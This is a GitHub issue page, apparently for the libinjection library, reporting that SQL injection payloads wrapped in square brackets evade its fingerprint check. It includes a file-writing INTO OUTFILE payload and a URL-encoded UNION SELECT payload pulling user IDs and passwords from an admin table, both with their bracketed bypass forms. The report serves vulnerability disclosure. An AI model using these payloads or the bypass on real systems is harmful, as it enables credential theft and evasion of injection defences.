Skip to content

SQLi bypass with surrounded square brackets #156

Description

@suikabreaker

Almost any kind of injection, when surrounded by square brackets, can bypass the check.
For example:

1337 INTO OUTFILE ‘xxx’--
vs
[1337 INTO OUTFILE ‘xxx’--]

makes its fingerprint become 'n',

111=@`\'`)%20UnIon%20seleCt%201,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42%20from%20`%23@__admin`%23@`\'`%20
vs
[111=@`\'`)%20UnIon%20seleCt%201,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42%20from%20`%23@__admin`%23@`\'`%20]

its fingerprint becomes 's'.

By a quick look into lexer I found following handling of []:

/**
 * This handles MS SQLSERVER bracket words
 * http://stackoverflow.com/questions/3551284/sql-serverwhat-do-brackets-mean-around-column-name
 *
 */
static size_t parse_bword(struct libinjection_sqli_state * sf)

This can be a defeat.

I've tested with 3.9.2 and 3.10.0.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions